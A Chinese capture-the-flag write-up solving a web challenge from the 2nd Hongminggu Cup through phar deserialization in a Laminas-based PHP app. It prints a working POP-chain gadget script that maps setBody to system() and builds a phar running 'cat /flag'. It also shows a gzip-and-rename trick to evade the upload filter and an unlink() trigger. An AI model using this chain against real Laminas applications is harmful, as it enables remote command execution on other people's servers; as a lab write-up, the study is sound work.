第二届红明谷杯 — Fan website
今天打红明谷杯,打出了一道web,考点是phar
反序列化

首先进去之后www.zip
把源码下下来,然后去网上找了找链子
找到了一篇:https://xz.aliyun.com/t/8975#toc-12,直接用它的最后一条链子就行了,具体后面再来审:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| <?php
namespace Laminas\View\Resolver{ class TemplateMapResolver{ protected $map = ["setBody"=>"system"]; } } namespace Laminas\View\Renderer{ class PhpRenderer{ private $__helpers; function __construct(){ $this->__helpers = new \Laminas\View\Resolver\TemplateMapResolver(); } } }
namespace Laminas\Log\Writer{ abstract class AbstractWriter{}
class Mail extends AbstractWriter{ protected $eventsToMail = ["ls"]; protected $subjectPrependText = null; protected $mail; function __construct(){ $this->mail = new \Laminas\View\Renderer\PhpRenderer(); } } }
namespace Laminas\Log{ class Logger{ protected $writers; function __construct(){ $this->writers = [new \Laminas\Log\Writer\Mail()]; } } }
namespace{ $a = new \Laminas\Log\Logger(); echo base64_encode(serialize($a)); }
|
然后我们就会发现一个问题,虽然说有了链子,但是没有触发点,就很难搞,去源码里找找有没有可以上传文件的地方:
就在这个路径下:/module/Album/src/Controller/AlbumController.php

可以看到,它对文件内容和文件大小都做了限制,不能出现<?php __HALT_COMPILER()
,这个好办,咱把它gzip
一下就可以了,它还限制文件大小必须大于3kb
,所以说我们需要往里面疯狂填入垃圾数据,通过imguploadAction
就可以上传上去了
然后我们往上看,看到了imgdeleteAction
,在这里面调用了unlink
删除文件,unlink()
函数作为文件操作函数,也是可以触发phar
反序列化的,有链子,有了触发的地方,这个题差不多就稳了,来看看它的路由:

可以看到它的访问方式,也就是说访问imguploadAction()
方法也就是访问album/imgupload
,同理删除就是album/imgdelete
所以说最终生成phar
文件的是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| <?php
namespace Laminas\View\Resolver{ class TemplateMapResolver{ protected $map = ["setBody"=>"system"]; } } namespace Laminas\View\Renderer{ class PhpRenderer{ private $__helpers; function __construct(){ $this->__helpers = new \Laminas\View\Resolver\TemplateMapResolver(); } } }
namespace Laminas\Log\Writer{ abstract class AbstractWriter{}
class Mail extends AbstractWriter{ protected $eventsToMail = ["cat /flag"]; protected $subjectPrependText = null; protected $mail; function __construct(){ $this->mail = new \Laminas\View\Renderer\PhpRenderer(); } } }
namespace Laminas\Log{ class Logger{ protected $writers; function __construct(){ $this->writers = [new \Laminas\Log\Writer\Mail()]; } } }
namespace{ $a = new \Laminas\Log\Logger(); $phar = new Phar("hmgb.phar"); $phar -> setStub("垃圾数据,越多越好,得把它的大小撑起来<?php __HALT_COMPILER(); ?>"); $phar -> setMetadata($a); $phar -> addFromString("test.txt",""); $phar -> stopBuffering(); } ?>
|
利用这个生成hmgb.phar
,放到kali
下去去压缩一下:gzip hmgb.phar
,然后改个后缀,改成hmgb.jpg

在这里传上去,它会返回路径,再去删除的页面触发就好:

挺水的我感觉,后面准备去认真审审代码,自己构造一下pop链